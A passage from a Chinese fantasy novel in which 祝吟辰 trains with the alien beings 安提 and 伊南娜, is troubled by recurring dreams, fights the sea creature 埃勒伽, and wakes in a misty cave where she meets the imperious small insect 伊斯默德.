时间流逝得如此缓慢,每一秒似乎都被拉长,冰冷的空气灌入肺中,每一次呼吸都如此沉重滞涩。
她凝视着那个破开的冰窟窿,水面荡开一圈圈涟漪,一波一波回荡着,渐慢慢平息下去,仿若倒数的指针,未知和希望都不停转动。
四十八秒、四十九秒……
她感到自己快冲出去了。
突然,地面纷扰的植被仿佛受到了什么神秘的感召一般,以湖中心为中心,四周藤蔓都慢慢编汇成数股,游蛇般伸进湖中。
巨树则抖动着树冠,开始以一种奇异的方式随心所欲地生长着,或卷曲,或直立,或萎缩……似乎有了自我的意识一般。
祝吟辰睁大眼睛,惊奇地看着这一切,眼前的景象涌动着十足的生命力,仿佛每一个粒子都脱离了束缚,无数种色彩舞动着,随心所欲地排列组合,创造新生。
砂石与雪片轻扬风中,与草叶共舞,在高空交织缠裹成坚实的数股,以奇妙的方式构造;水流直湖中涌流抽出,悬流于空中,时而交错盘旋,时而分散做浮动的水滴,闪耀折射着奇异的光芒,仿若自由舞动的精灵;五颜六色的花朵都纷纷绽开,将雪地都铺满,纷纷扬扬的雪片洒落于花蕊中,死寂与繁荣在这一刻相遇……
祝吟辰闻到寒风中传来阵阵甜美馥郁的花香,突然隐隐约约想起来,她们在去往空居的时候,这里确实是一片美丽的花林,簇拥着这片静谧的湖水,那时候气候还很温暖,天光是泛着光晕的白,风也柔和清新。
失去了沉着河床的湖水,冰湖逐渐变成了一个巨大的土坑,然而花朵又不停地将每一寸土地占据,一些多余的粒子开始散漫地漂浮,随风舞动,远远看上去,空气成了笼罩一切的泛着奇异光色的、若有若无的存在,每一次风的翻涌,就是一次呼吸,世界成了混沌的、生机的乐园。
祝吟辰心中不知为何逐渐产生种潜意识深处的恐惧——害怕自己也会成为这场光荣进化的一份子,被自由地分解开去,情不自禁地缓缓退后,慢慢藏进身后沉默的树林中。
树丛掩映间,她看见那狂欢舞动的生命群像中,一座奇异的神坛慢慢聚起,说不清是由什么构造而成,也说不清是凭谁的心意构造,安提安安稳稳地躺在神坛之上,双眼微阖,看上去平静极了,沉入了黑暗深邃的地底一般,仿若一种最古老、最原始的存在,在生命的原生中遥望着既定的现在。
祝吟辰心中渐渐生起一种遥远的震撼,她看见安提的眼睛缓缓睁开,透过那五彩斑斓的虹膜,陷入深邃黑暗的瞳孔,感到一种熟悉而陌生的存在,在意识交错的乱流中,她似乎望见了这颗星球过往的一隅,在宇宙星际间,追溯到某个坐标的点位上,一个古老的荒芜的存在,那时候的一切都还没有名字,世界是一片温暖的原初之海,每一个细胞都沐浴在风暴和海洋中,自由地行动、呼吸……
她看得入迷,突如其来的,一把大火蛮横地侵入意识,将一切都燃尽,浓烟滚滚,天边燎起一片疯狂的火原。
意识随之惊醒,带着巨大的排异反应,她忍不住俯身呕吐起来。
“安提哟,这样的伟业为你所造就,纳姆也要为你赞颂。”
熟悉的声音传来,她扶着树,勉强抬起头,恍惚间看见眼前真的燃起了一场大火,一个健壮高大的身影站在她面前,抬头仰望着火焰熊熊燃烧,将一切都终结,赤红的长发随风舞动,像一片默哀的旗帜。
心中一惊,随着那个名字的再提,祝吟辰眼前顿时坠入一片黑暗,熟悉又可怕的感觉再次袭来。
她拼尽全力控制住自己,开始催动纯露治愈自身,然而气力不够,她瘫坐到地上,开始大口大口地呼吸,试图缓解一点症状。
不知道过了多久,意识慢慢清醒过来,四肢也渐渐恢复了一点气力,她爬起身,看见眼前的身影微动。
伊南娜转过头,盯着祝吟辰狼狈的样子,一挑眉,问道:“好些了吗?”
为了不露出异样,祝吟辰只能强撑着挤出一个微笑,回道:“有些看晕了,现在好多了。”
伊南娜轻哼一声,转过头去,不再说些什么,祝吟辰走到她身旁,看见安提陷入在火焰之中,却丝毫无伤,睡得安静平稳,身下的神坛已经烧成乌黑的一块,之前还在飞舞盘旋的粒子们都成了地上的灰烬,层层沉积在污浊混黑的土地上,剩余的燃烧跳动的火焰渐渐没了气力,慢慢熄灭下去。
那些五彩斑斓的、生机勃勃的不再,一片死气沉沉,世界成了单调的灰黑色。
见事态已经结束了,祝吟辰飞快地跑上前,踏进浑浊的黑泥,将安提轻轻抱下神坛,安提的眼睛还闭着,呼吸沉稳,生命体征都正常,看起来似乎只是因为某种未知的原因,暂时陷入了沉睡。
祝吟辰将安提背在身后,眼睛里带着点询问的意思看向站在树林边上的伊南娜,后者看了一眼她们,又瞥了一眼地面,皱起眉头,冷哼一声,看起来嫌弃得不得了,居然径直转身就走。
见对方不肯过来,祝吟辰只好有些无奈地跟上伊南娜,把肮脏的路又走了一遍,身上也蹭了些神坛上的灰泥。
一路上,伊南娜无论如何不肯跟她并肩走,脚步总是要快几步,远远地把她甩在后面。
看着伊南娜的背影,祝吟辰又累又气,忍不住暗下决心,以后一定要劝诫安提,伊南娜也是前朝余孽的一员,千万不可放过!
待到洞穴的时候,天际已经泛起了深沉的赤红,大地渐被淡淡的红光笼罩,一切都安静下去,大雪又下起来,寒风阵阵刮起。
祝吟辰把安提安置在洞穴中,又盖上“被子”,那是她之前用十余只加卡的皮缝合做成的,温暖又厚实。
伊南娜站在旁边,好奇地打量着这新奇的“被子”,有些挑剔地说道:“小气又无能的造物。”
“这里没有更大型的动物,否则我直接盖一整块,用不着拼凑。”祝吟辰没忍住回了句嘴,站起身,瞪了伊南娜一眼,走出洞
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外,准备洗掉身上的灰泥。
伊南娜目送祝吟辰离去,又看了一眼睡得正香的安提,一时间竟不知道该做些什么,好像只是去了一趟,又一无所获地回来了。
但无论如何,看到安提有这样的进步,看到那样久违的景色,也不错。
她走出洞穴,四周一片漆黑,只好百无聊赖地在外面晃了一圈……
于是等祝吟辰回来的时候,就看见了这样一副奇异的景象——洞穴外火光滔天,熊熊燃烧的火堆上架着几只血淋淋的加卡,几只鳞果被随意地扔进火中,已经被烧成了几颗痛苦的焦炭,伊南娜则坐在火堆旁,优哉游哉地喝着酒,看着天空,轻轻哼着不知名的歌谣。
“火势太大会起山火。”祝吟辰走过去,脑子居然异常的冷静,默默地将木柴抽去一些,伊南娜定定地看着她,唇角轻轻勾起,莫名其妙地笑了一下。
一番操作后,火势明显小了很多,祝吟辰看着火堆上的一堆不可名状的黑暗造物,叹了一口气,再次忙着处理烧焦的加卡和鳞果。
伊南娜看着她忙碌的背影,突然发声,问道:“你可知你来自何处?”
祝吟辰心中一惊,各种各样暴露的可能性在脑中闪现,她犹豫着回过头,看见伊南娜醉醺醺的眼神,面上的红晕已经泛到耳根,一副醉得不成样的样子,显然只是在说胡话。
祝吟辰放下心来,干脆不理睬,继续忙活着收拾,忙碌了好一会儿,才将东西都收拾干净,她又挖开溪边的冰窖——这也是她之前主张弄的,提出里面储存的食物,抱到火堆旁,一边烤火,一边细嚼慢咽。
如她所料的,伊南娜没再继续追问,只是闭上眼睛,缓缓躺在一旁的柴堆上,偶尔呢喃几句听不懂的胡话。
吃饱喝足后,祝吟辰满意地伸了个懒腰,打了个哈欠,望了望深红的天幕,知道是时候休息了。
她熟练地熄灭火堆,正要走入洞穴,看了看地上的伊南娜,又有些犹豫。
……她应该冻不死吧?
祝吟辰上下打量了一下伊南娜的体格,似乎不是她可以撼动的模样。
略微思考了一下,还是到洞中抱来自己的那份“被子”,盖在伊南娜身上。
她已仁至义尽了,今后想劝诫安提不要放过伊南娜,也不用感到亏欠和心虚。
抱着这样的想法,祝吟辰美美进入梦乡。
阿努的梦光怪陆离,做梦的时候很新奇,然而梦醒后就转瞬即逝,什么也不记得,祝吟辰也从未去试图记住这些梦。
然而这一次,梦中的景象却格外奇特,令人过目难忘。
她梦见了一个封闭的的地方,地上淌着积水,顶上时不时滴落几滴粘稠冰冷的液体,周边浓雾四起,看不清究竟。
她向前摸索着,慢慢行走,隐隐约约看见前方一个面貌模糊的小球,泛着淡淡的荧光,飞舞在周际的浓雾之中,远处一个圆盘状的光晕,静静地流转盘旋。
那个小球似乎看见她了,急切地冲她喊着些什么,叫声熟悉,但又如此陌生。
她听着这小球的呼喊,心中越发感到急切,因此拼命地向它跑去,试图听清它的话语,然而彷佛有一只无形的大手将梦境拉伸,她们之间的距离越来越远,那个小球的模样也越来越狰狞可怖……
压下心中膨胀的恐惧,她坚持不懈地向前跑着,梦境和现实都生出相同的疑惑——
它是谁?在说些什么?
38.四维崩裂,永恒废墟
祝吟辰睁开眼睛,慢慢坐起身,一想到距离下一次回溯还有七天,她就感到一种难熬的不安。
她这次回溯,除了一如既往地报告总部一些边角料的消息外,就是安慰以为阿图特意外逃跑而忙得焦头烂额,向她连连道歉的奕川。
然而奕川的效率惊人,仅仅几天,她就已经得到阿图特被绑到黑环的消息了。
在奕川诚恳地报告调查进度,并做出一定会安排人手进一步调查时,祝吟辰只能故意装作又惊又怒,又带着隐忍的责备的样子,好让奕川不起疑心。
现在木已成舟,阿图特这件事背后牵扯到的势力众多复杂,不仅事关无人区北海萧家和AGPC科技中心的阴谋,还有整个虎视眈眈的黑环。
现在红派的事业还在上升期,但势单力薄,人心不稳。一旦消息在红派内部走漏,收留阿图特的红派必然身败名裂,阿图特的性命恐怕也难保。
综合考虑下,她只能答应陈立新,相信她们会努力找回阿图特,尽量不让这件事惊动更多的人,引起更大的恐慌。
祝吟辰叹一口气,按下心头的焦虑,耳边传来微弱的呼吸声,她看向身旁,安提安安静静地躺着,睡得正香。
洞口外照进一片赤红的天光,离天亮的时间还早,她可以好好地睡一觉,为明天的训练做准备。
可是她不想睡,只要一闭上眼睛,就隐隐约约看见那个发光的小球,在浓雾中忽明忽暗,冲她急切地呼喊。
自从那天,她看见安提坠入冰窟,看见了那样不可思议的奇迹后,每一个夜潮,她都会做相同的梦,梦里的场景有时清晰,有时却更加模糊,那个发光的小球也时常有着不一样的反应。
但无论梦境如何变化,她都能够深刻地感觉到,它对她的突然出现非常激动,并且因为某种原因,迫切地呼唤她的到来。
心底的疑虑越来越重,未知的事情接连发生,带着压抑不安的心情,她在意识困倦中沉沉睡去。
在又一次几乎毫无变化的梦境后,她自睡梦中苏醒,转头看见身旁的被子已经叠好,安提已经出门了。
她揉了揉太阳穴,重复的梦境持续地困扰着自己,她知道这样下去不是办法。
如果是因为那次安提展现出来的奇迹所导致的梦境,说不定安提可以给她答案。
祝吟辰整理好被子,走出洞穴,如常洗漱。
安提已经在火堆旁烤肉了,这次的食物看起来正常了很多,没有可疑的菌落,也没有黑炭一样的鳞果。
洗漱完毕,祝吟辰坐到安提身旁烤火,安提递过来几串肉,她接过,闻到烤肉诱人的香气,情不自禁咽了下口水。
尽管没有佐料,安提的厨艺却带着纯天然的娴熟,大块切割的烤肉冒着热气,外焦里嫩,一口咬下,鲜美的肉汁四溢,带着微焦的香气,令人回味无穷。
食物的温度和美味将迷惘的心捂热,祝吟辰感到一丝安慰,她一边吃着烤肉,一边含糊不清地向安提问出困扰心中良久的疑惑。
安提先是对她的异状感到有些意外,而后又认真地听完她描述的梦境,低下头略微沉吟后,安提抬起头,注视着祝吟辰的眼睛,口吻是少有的严肃郑重。
“随你的心去吧,伊塔,你的命运由你牢牢掌握,我身在渊外,对此无法言语,但愿在路的前方,有希望将你救赎。”
说罢,安提又递过来一串肉。
“……好吧。”
祝吟辰无奈地接过肉串。
这个星球上的阿努说话喜欢打谜语,又喜欢用祈使句说话,仿佛人……虫生的一切都是既定的命运,无需过多纠结和思考一般。
既然如此,她也只能静待转机的到来了。
如此想着,她索性安下心来,安安稳稳地咬下一口肉。
真的很好吃啊,祝吟辰忍不住微微上扬嘴角,暗暗想道。
下一次,如果安提感兴趣的话,就试试教安提更多的菜系吧。
训练的时间很快过去,在祝吟辰和安提待在冥土的这段时间里,安提分解聚合物质的能力虽然发挥还不稳定,但持续的时间和强度都越来越强,而祝吟辰自己祝生的能力也在不断强化,控制运用的效果也越发精确。
伊南娜对于二虫的进步非常骄傲,往往要在三虫回洞穴的路上赞美她们三虫,安提又高兴地回以自豪的夸耀,祝吟辰常常走在一旁,看着她们互吹互擂,或是自吹自擂,有时被伊南娜牵扯进某些无聊的话题,比如什么样的阿利都才是好阿利都,恩基晚上睡觉会炸头发等等,脸上就往往情不自禁地流露出复杂的神情。
这次也是一样,夜潮将至,祝吟辰走在路上,习惯性地忽视掉身旁忽而相互扶着大笑不止,忽而指着对方大声争辩的安提和伊南娜,默默回忆着今天学习到的东西。
“小伊塔,我的智囊。”
伊南娜忽然叫了祝吟辰的名字,她似乎不能容忍身边的东西陷入沉默,没有激情燃烧,祝吟辰本虫自然也在内。
祝吟辰回过头,看见伊南娜高大健壮的身体,一只臂膀蛮横地架在安提肩上,她的脸上挂着揶揄的笑容,眼底透出看不清意图的深沉。
“想好我们要怎么打败埃勒伽了吗?”
这样的问题伊南娜每天都要问,让祝吟辰烦不胜烦。
祝吟辰忍不住微微翻了个白眼,说道:“把你挂到天上去,把埃勒伽烤成七分熟,我们就赢了。”
听见这话,伊南娜却前俯后仰地大笑起来,安提被她带着身体乱晃,瞪了她一眼,狠狠揍了她腹部一拳,她才松开手,悻悻然地看向祝吟辰。
“小伊塔,敢这样敷衍我的阿努,你是第一个。”
“……你不也喜欢开玩笑,恩基睡觉头发会炸开什么的。”
“不,小伊塔,”伊南娜的眼底一沉,神色倏地变得无比认真,“每临夜潮降下之际,我都等在恩基身旁,等她睡醒放开身子,把炸开的头发放下来,就细心地将她那头又黑又长的头发梳好,一缕一缕,认认真真……”
安提从未听说恩基还有这样的事,惊讶地睁大眼睛看着伊南娜,不可思议地问道:“真的吗?”
伊南娜立刻转头看向安提,笑得宠溺:“怎么会呢,我怎舍得让你嫉妒?”
不忍耳朵再受伤害,祝吟辰痛苦地闭上眼睛,加快了脚步。
待到洞穴,伊南娜打了个招呼,就回到了她舒舒服服的空居,安提和祝吟辰吃了晚饭,又讨论了些战斗方面的心得。
直到红色天光渐下,大地涂上一层冰冷的薄红,就熄灭火堆,钻进洞穴,各自陷入沉睡。
祝吟辰原本是抱着随缘的心情睡下的,因此情绪格外放松。
然而这次她进入梦境,进入眼帘的不是以往那样寂寞无声的浓雾,而是可怕的狂风巨浪!
汹涌的海啸高高卷起,将巨浪砸得粉碎,浮冰碎裂如星,在海面上彼此猛烈地撞击!一阵海浪拍打过来,祝吟辰差点没站住脚,幸亏她反应快,在倒下的一瞬间死死抓住浮冰,原本放松的心高高悬起,再次紧张起来。
她望向周围的场景,鼻腔涌进海底翻涌上来的死亡的腥气,冰冷的空气灌进肺部,几乎要将大脑冻结,四肢浸在冰冷的海水和冰雾中,很快冻得僵硬麻木,一种熟悉的感觉涌上心头——
这里不是冥土吗,怎么好端端的梦到这个地方了?!
海啸连天涌起,直淹没过天际,这场突如其来的暴乱似乎来自于冥土的中心,祝吟辰强忍着从温暖的被子中徒然坠落极寒所带来的不适,眯着眼睛望向风暴的中心。
埃勒伽就在那里,她似乎陷入了某种疯狂,暴怒地咆哮着,在冥土中肆意地翻搅,那常年被浓雾和狂风卷席的地方被她的背鳍撕裂开一角,露出其中静静流转的、深不见底的巨大漩涡,一直通往未知的海渊中去。
祝吟辰凝视着那个漩涡,那其中透出一股强烈的吸引力,每一条缓缓转动的水流都带着一种缄默的诱惑,浓雾是遮掩的面纱,那其中的隐隐约约地显露着,看不真切,只低声发出一声轻笑。
生命始终无法逃离的,就是死亡和黑暗的归宿,这是最公正的判决,这是最纯粹的永恒,给你以永享的安眠。
祝吟辰的心脏狂跳起来,仿佛被什么东西死死抓住一般,一种暗示将她牢牢困住——她的梦境就在那里,只要踏入其中,就可叩响冥土深处的大门,赞美那未知的名字,念出她祈祷的颂词,与埃勒伽共舞。
风暴中心的一角很快被流雾和狂风重新围上,祝吟辰回过神来,才发觉在这极寒之中,她的全身居然淌着热汗,仿佛因什么极端的兴奋而陷入暂时的享乐一般,一滴汗水自下颔滑落,她用力眨了眨眼睛,试图让自己清醒一点。
勉强自浮冰上站起身,她喘了口气,环顾四周,正欲寻条出路,一道巨浪突然打来,将她拍到半空,身体再次跌落海中,冷热交替让身体止不住地痉挛,冰冷的海水灌进肺部……
“哈——!”
祝吟辰大叫一声,猛然惊醒,大口大口喘着气,摸了一把身下的土地,是暖和的被子不错。
多么亲爱的被子啊,她
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松了一口气,看向洞口,照进一片赤红的天光,整个洞穴还处在黑暗中,一切都如她睡前的样子。
她看向身旁,瞳孔慢慢张大,心脏再次被捏紧。
安提不见了。
……
冥土那边的状况正如祝吟辰梦境中的那般,狂风巨浪高举过远处的山峦,几乎要将天际吞没,数道雷鸣落下,将夜潮击破,冥土之上,黑暗的天窟凝视着这场突如其来的暴乱。
祝吟辰向冥土那边一路狂奔,埃勒伽有这样的动静,安提肯定不会错过,大概是不愿打扰熟睡的自己,才没有叫醒自己。
她应该早点叫醒自己的!
祝吟辰心底忍不住生出几分埋怨,安提总是这样冲动,一马当先地跑出去,让她在屁股后面追!
能不能有点团队精神!
等她赶到冥土时,伊南娜和安提已经和埃勒伽打起来了,仿佛上次的场景再现,双方打得天昏地暗,将周际可见的一切都摧毁。
但和上次相比,安提的战力明显强了很多,与伊南娜的合作显得得心应手,祝吟辰站在冥土边界,看着风暴上的二虫与埃勒伽打得你来我往,不分胜负,原本有些生闷气的心中忍不住感到一丝宽慰。
照这样的进步,说不定过不了多久,她们就可以打败埃勒伽。
突然,风暴中的安提向这边发出一声急切的呼喊,祝吟辰愣了一下,急忙闪开,下一秒,她刚才站过的地方被一股巨力掀起,一道锋利的鱼鳍自沙滩底部露出,将大块连绵的沙滩割开成两半,又缓缓没入汹涌漫延过来的海浪中。
祝吟辰感到一阵心惊,她本以为这是埃勒伽对局外虫的无差别攻击,然而接下来的事态让她心中一凉——埃勒伽似乎是锁定了祝吟辰的身影,在漫天海啸中追杀着她的行踪,无论她逃到哪块浮冰上,埃勒伽那高过天际的背鳍就会出现,瞄准她的位置,将她所在的浮冰狠狠劈碎!
然而祝吟辰也不是软包子,她一边在浮冰上灵巧地跃动,闪避埃勒伽的攻击,一边催动纯露,祝生埃勒伽背鳍的鱼鳞,埃勒伽的背鳍本就坚硬无比,很快就自爆得四分五裂,崩裂的数道伤口里流出血来,血迹在海上四散蔓延,似乎将天上那血红的一轮取下撕碎,流淌在冥土中一般,显出一种荒古原始的壮阔,埃勒伽也因杀意的愤怒而加剧了攻击的频率。
又一记猛击自高空狠狠劈落,祝吟辰闪身避过,听见天上安提急切的呼喊声,才发觉自己已经被埃勒伽逼到了风暴附近,脚底浮冰急速向中心的漩涡流淌,她不得不调转方向,向着埃勒伽拍过来的海浪跑去,灵巧迅捷的身形数次闪避,始终稳稳踩在浮冰上,落不下海。
埃勒伽看到战况陷入僵持,突然停止了攻击,背鳍慢慢下潜,消失不见。
冥土之上,恢复了短暂的平静。
“伊塔!”
祝吟辰看着海面逐渐恢复风平浪静,总算是松了一口气,听到天上风沙裹挟的风暴之上远远传来安提的呼喊声,她抬起头,微笑着向她们招手,示意自己没事。
安提自风暴中一跃而下,踩着浮冰,开始向祝吟辰奔去,而伊南娜滞留在高空,一头烈焰般的红发随风飞舞,身形却一动不动。
祝吟辰看见伊南娜身形不动,似乎是在注意着观察周围,虽然不清楚是何意,但也随之提高了警惕。
渐渐的,一切都恢复了死水一般的寂静,沉默地凝固在原地,黑暗的天幕流淌泻下,将冥土也固结做一块,浓雾渐渐漫延四周,模糊不清的前方,祝吟辰凝视着安提向自己奔来的身影,那块不规则的、模糊的黑影一点点黯淡下去,仿佛被洗去了颜色,逐渐消逝在浓雾中。
她感到自己的身体与意识逐渐分离,自己与自己的距离越来越远,有些不安的,她回头望了一眼,看见自己躺在被窝里,额上淌着冷汗,双眼紧闭,嘴里呢喃不清,似乎是做了噩梦。
这是……她刚才做梦的样子吗?
有些莫名其妙的茫然,好像意识里泛起了大雾,她转回头,望向远方,看见自己的惊恐的脸,坠入平静流转的旋涡,仿佛时间静止的一瞬,将她跌入旋涡的那一瞬间拍了下来,呈现在未来的一帧画面。
这个画面后面还有很多,她看见自己的表情在逐帧变化,慢慢的变得越来越狰狞和恐慌,挣扎的动作也一帧帧加大。
她本能地跑上前去拉自己,却发现自己的身形与身前的画面逐帧重合,好像一个顺时播放的动画,一帧、两帧、三帧……
“伊塔!”
长天一啸,数道雷鸣落下,将黑色
39.她将此处统治,她将异物管制
宛如初生的婴儿,先张开的五感是视觉。
眼前似乎照进了一片薄如蝉翼的光,在昏昏沉沉的意识中忽明忽暗地闪晃,渐渐的,耳畔传来清脆的水滴声。
滴答——,滴答——,在空旷的洞穴中回荡。
四肢的酸痛感传来,意识一点点清醒过来,祝吟辰慢慢睁开眼睛,一阵眩晕的恶心感猛地涌上心头,她猛地坐起身,哇一声吐在地上,撑着地面干呕了好几声,才想起来还可以祝生纯露自愈。
祝吟辰默默集中心神,指尖溢出丝缕白色的气息,她坐在原地闭目养神了一会儿,感到状态开始一点点好转。
感觉差不多适应了,她慢慢站起身,观察四周的环境。
周围的景象看起来熟悉极了,弥漫的白色水雾,石柱林立的巨大空旷洞穴,坑坑洼洼的地面聚了几滩积水,水滴自洞顶有节奏地滴落,远处隐隐约约的光晕辐射,一切都和梦里的场景一模一样。
如果不是身体的五感明明白白地告诉她,她此刻就在这里,恐怕她还以为自己还在做梦。
水雾渐渐将身体浸得湿润,想到现在没有别的选择,祝吟辰决定去看看远处的那个光晕。
如果一切正如梦境那般,那么那个发光的小球应该会在那里等她。
脚步声在空旷的洞穴中不断回响,不知道走了多久,直到她腹中传来酸涩刺耳的、无数尖牙利齿刮擦摩擦的声音,饥饿感一阵阵传来,她才隐隐约约看到了远处的一个飞舞的光点,在浓雾中忽明忽暗地扑闪。
“我来了!”
祝吟辰振作精神,向那边喊了一声,她现在又累又饿,有点走不动了,因此希望能让那个光点来找自己。
或许她和那个小球真的有某种奇妙的羁绊,又或许只是那个小球听见了她的声音而已,祝吟辰在原地等了一会儿,看见那个光点慢慢向自己这边飞来,心中升起一丝欣慰的希望。
时间一点一点过去,眼见着发光小球离自己越来越近,祝吟辰渐看清了它的样貌——居然是一只小虫!
是她和安提在尼努尔塔的冰室基地里,见过的那种“天生的外科医生”!
作为小虫,好端端的,不去跟着大颚巡逻打仗,孤零零地跑到这种地方干什么?
揣着心中的疑惑,祝吟辰就这样看着那只小虫飞到自己面前,和自己大眼瞪小眼。
祝吟辰打量着小虫,小虫也打量着祝吟辰,而且毫不客气,简直要贴在她脸上一般,扑闪着一对透明小翅膀上下翻飞,到处嗅闻,细细端详,一副“没错本虫就是这里的主人哼哼哼!”的理所当然的气势。
祝吟辰对这样冒犯的距离纵然有些不适,但也不好和这样的小小阿努计较,只好站在原地,也细细地观察起这只小虫来。
在这样近的距离看下来,小虫的样貌似乎与之前在大颚那边见过的不太一样。
之前的小虫头部长一对小颚,看起来如同插着一对透明小翅膀的金属小球,上面还泛着淡淡的荧光,身形约人类婴孩的拳头般大小,轻易就可以握在掌心中,看起来轻盈又小巧可爱。
但眼前的这只小虫,虽然外貌与前者大体不差,但其身后的翅翼末端呈羽状,似乎起着额外的消音作用,身形看起来大了很多,身上的荧光也更明亮。
祝吟辰感觉耳边传来的小虫翅膀的振鸣声不断擦着头部呼过来、呼过去,简直像是一个活的铅球在不断挑衅一般,带着一点威胁的意味,心中忍不住暗暗生出几分警惕。
“迷途的伤者,穿越重重迷雾,踏入这片不可复归之地。”
身后突然响起这么一句,祝吟辰被吓了一跳,转身看见小虫已经飞退回了距自己约几步的距离,看来是已经安检完毕。
小虫注视着祝吟辰的眼睛,那双黑豆小眼里透出一种不可一世的气质,她绕着祝吟辰不紧不慢地飞舞着,语气里带着一种神圣的庄严,缓缓说道;“我困于此地,独自等候了数万万个瞬息,石头做我忠诚的挚友,每株草木皆由我祝死祝生,凡是滴落的,就要做我功绩的记者,凡是流淌的,就要任我自由取饮。”
“你因我的召唤而来,也应承接我庄严的意志——”
祝吟辰隐隐感觉小虫的声音似乎激动起来。
“——把那发光的该死的要命的丑陋的死物给我取除去!把那流失的给我取回来!”
……如果虫母可以直接教育她的孩子们,这些阿努就不会一个二个都这么难相处?
祝吟辰有些无语凝噎的气笑了,小虫看见她的反应,居然生气地扑上来,用翅膀拍打她的脸。
祝吟辰随手一抓,将小虫牢牢抓在手中,带着一丝无奈与小虫那双黑豆小眼对视。
实际上,在小虫开口之前,她的潜意识里其实还抱着一丝拯救者的幻想,以为自己会遇到一个弱小而充满使命感的、友好善良但无助的可爱奇异外星生物。
祝吟辰叹了一口气,又看了看手中开始厉声呵斥自己的小虫,巨大的反差感不仅让她感到一种沉甸甸的失落,还让她心中生出一丝隐隐约约的愧疚。
小虫的蛮横固然无礼,但带着自我实现的期望,将文艺作品养成的刻板印象擅自安在对方头上的自己,是否也有着相同的冒犯呢?
想到这里,祝吟辰松开手,放出小虫,决定双方先暂时各退一步,与小虫和平交流。
“你的困难我知道了,先告诉我你的名字吧。”祝吟辰认真地注视着小虫的眼睛,说道:“我叫祝……伊塔。”
小虫似乎是愣了一下,虫足习惯性地清理了一下身体,然后迟疑地开口:“呃,好像是……伊斯什么,伊斯特?”
“不对……应该是伊斯默特吧。”
“等等……不对!应该是伊斯默德。”
小虫在原地欢快地转了好几圈,看起来满意极了,“对,就是伊斯默德!”
“好的,我知道了。”
气氛轻松了很多,祝吟辰脸上露出礼貌的微笑,“现在,带我到那个发光的东西旁边吧,另外,我想知道,为什么要找我帮忙?”
她突然想起来什么,语气又放得更柔和了几分,有些不好意思地补充道:“还有就是,这里有什么吃的吗?”
……
祝吟辰原本以为,这里最复杂的情况,统共不过浓雾中那个奇怪的光晕,和目前冥土中未知的重重谜团。
但就在刚才目睹伊斯默德的力量后,她才意识到,这里的情况恐怕远远比她所能想象到的要更……难以理解。
就在方才,伊斯默德听到了她的请求后,先是奇怪地歪了歪头,露出了一个不解的神情,像是听到了什么不可理喻的话一般,然后转身向地面积水飞去。
伊斯默德身上淡淡的荧光拂过水面,接下来的一幕让祝吟辰看得瞠目结舌——水面上居然肉眼可见地生长出了植物!
在伊斯默德疑惑的“这有什么好惊讶的”的眼神中,祝吟辰走上前,难以置信地拈起一片,细细观察。
这是一种前所未见的水草,散发着淡淡的奇异香气,几片椭圆草叶平铺在水面上,水面下细长根续漂荡。
伊斯默德,居然拥有和安提一样的能力?!
不,不一定,说不定是和自己的能力相同,伊斯默德不过是祝生了种子的生长而已。
但这也很难以接受……
祝吟辰不自觉地皱起眉头,抬头对上伊斯默德催促的眼神后,决定还是先吃点东西再考虑这件事。
然而下一秒,伊斯默德的举动直接让她瞳孔地震——伊斯默德飞落到她脚边休息,然后轻轻……打开了腹部,从里面抱出一个小小的丝茧来,在祝吟辰震惊的眼神中,那张小小的颚部口中吐出丝线,伊斯默德小心翼翼地抱着丝茧,开始认真地做进一步的加固工作。
……?
这是??
对阿努目前为止形成的所有观念轰然倒塌,祝吟辰艰难地开口,“你,喰过偶了?”
伊斯默德正在忙碌,头也不抬地回道:“喰偶是什么?”
……???
祝吟辰还不死心,
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继续追问:“你知道伊南娜吗?她是我们的阿努萨,还有菌群的恩基,随处可见的拉姆……”
即使只是一对黑豆小眼,伊斯默德也将其用出了强悍的气魄,她仍旧头也不抬地加固丝茧,说出的话霸气十足。
“呵,我知道她们的力量,是我难缠的对手,是我同族的宿敌,是我足下将要踏过的淤泥,等我摆平这里的事情,就要命令她们为我称颂,每一个夜潮都要俯身亲吻我的双足!”
在巨大的观念震撼下,祝吟辰反而冷静下来,她开始梳理眼前所发生的一切。
如果伊斯默德没有说谎和吹牛的话,那么现在的信息可以知道,伊斯默德是与伊南娜她们同时代诞生的阿努,只不过因为某种未知的原因困在冥土,因此在这里度过了漫长的时间,甚至很多观念已经与外面阿努的世界完全脱节。
伊斯默德没有喰偶的观念,但她却可以生育后代,说明其拥有孤雌生育的能力。
不仅如此,按照她刚才的表现来看,她的能力丰富多样,与包括安提在内的,目前已知阿努萨的能力高度相似。
不,更像是原始朴素的版本,伊斯默德不过是吐出丝线,而恩基却可以将其用于锋利的杀戮;伊斯默德不过催生一点水草供以饱腹,安提却可以用以建造战场的平台;伊斯默德不过发出的光芒明亮了些,而伊南娜却可做永燃的光明。
至于其他阿努萨,她还不太清楚。
祝吟辰忍不住想,如果伊斯默德也可以像埃勒伽一样,拥有呼唤风暴,与冥□□鸣的能力的话,她们是不是就可以逃出这里了?
不过听伊斯默德说的,已经在这里困了数万万瞬息的话,应该是不太可能了。
她想了想,还是尝试着开口问道,“那你觉得埃勒伽怎么样?”
出乎意料的,祝吟辰看见伊斯默德的动作突然停住了,那双黑豆小眼第一次透出被惊吓到的,遮掩不住的恐惧。
伊斯默德迅速将丝茧放进腹中,语气中流露出明显的厌恶,“那卑劣狭隘的生物,要用无休止的憎恨将我们埋葬,每当面临死亡时,她的视线就降临到我们身上,将我们放逐到恐惧和痛苦中去,要让我们接受她的判决……多么肮脏可怖的名字!”
看来伊南娜那一代的阿努都对埃勒伽非常不满,祝吟辰默默总结。
祝吟辰正想再问些什么,但伊斯默德已经失去了耐心,埃勒伽的名字让她感到浑身难受,连腹中丝茧似乎都降了几分温度,不安的情绪在心头涌起。
伊斯默德生起气来,这个伊塔尽是问些无关紧要的话!
“好了,我的使者!我命令你,以后进食的时候要闭上嘴巴!”
她蛮横地打断祝吟辰的思绪,“站起来,该去解决那发光的该死的要命的丑陋的死物了,给我把它取除去!把那流失的给我取回来!”
说罢,她腾空飞起,头也不回地冲向浓雾中那光晕所在的方向。
……骂得这么熟练,看来她真的被那团光晕困扰了很久啊。
祝吟辰无奈地站起身,把手心残余水草一鼓作气塞进嘴中,跟上伊斯默德的步伐,虽然少了些,但好歹可以垫垫肚子。
穿越最后的重重迷雾,那团光晕的真面目逐渐显现在祝吟辰面前。
然而从她跟着伊斯默德进入这里,看清“光晕”的一瞬间开始,即使身处在因这团“光晕”所引起的前所未见的奇异场景之中,她的视线却始终盯死在“光晕”之上的载体。
